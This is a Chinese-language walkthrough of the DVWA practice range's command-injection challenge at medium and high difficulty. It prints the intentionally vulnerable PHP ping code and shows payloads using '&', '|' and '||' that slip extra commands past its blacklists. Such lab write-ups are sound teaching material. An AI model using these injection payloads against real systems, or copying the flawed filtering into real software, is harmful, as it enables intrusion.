对于 middle 难度的
我们直接先看源码
<?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$target = $_REQUEST[ 'ip' ];// Set blacklist$substitutions = array('&&' => '',';' => '',);// Remove any of the characters in the array (blacklist).$target = str_replace( array_keys( $substitutions ), $substitutions, $target );// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping ' . $target );}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>";
}?>
主要区别就是这一段:
设置了黑名单数组,其中包含了一些常见的用于命令注入的特殊字符,如 && 和 ;
使用 str_replace() 函数将黑名单数组中的特殊字符替换为空字符串
// Set blacklist$substitutions = array('&&' => '',';' => '',);// Remove any of the characters in the array (blacklist).$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
测试payload
127.0.0.1&&ipconfig
可以看到 ipconfig 并没有被执行
ping 的内容直接被替换成了 127.0.0.1ipconfig
(由此我们即使不看源码也可以推断出 && 被替换为了空)
使用一个 & 即可实现绕过,构造payload
127.0.0.1&ipconfig
可以看到 ipconfig 执行成功
也可以使用或
127.0.0.1|ipconfig
一个或是直接执行后面的命令
还可以使用两个或,让前面为假,执行后面的
myon||ipconfig
也是可以执行成功的
最后面来看 high 难度的
还是先看源码
<?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$target = trim($_REQUEST[ 'ip' ]);// Set blacklist$substitutions = array('&' => '',';' => '','| ' => '','-' => '','$' => '','(' => '',')' => '','`' => '','||' => '',);// Remove any of the characters in the array (blacklist).$target = str_replace( array_keys( $substitutions ), $substitutions, $target );// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping ' . $target );}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>";
}?>
这个原理其实还是一样的,只是说它引入了更大范围的黑名单,移除了更多可能用于构造恶意命令的字符。
// Set blacklist$substitutions = array('&' => '',';' => '','| ' => '','-' => '','$' => '','(' => '',')' => '','`' => '','||' => '',);// Remove any of the characters in the array (blacklist).$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
这里其实放了个或出来,仔细看这段代码
'| ' => '',
它是将| (注意这里有个空格)替换为空
因此我们使用无空格的或即可绕过
构造 payload
127.0.0.1|ipconfig
执行成功
以上就是关于 dvwa 靶场命令执行漏洞的讲解
除了靶场,其实命令执行漏洞在我们的现实中也是有很多的,建议各位多去打打实战,当然是在符合法律的前提下。还是那句话,开发和安全缺一不可!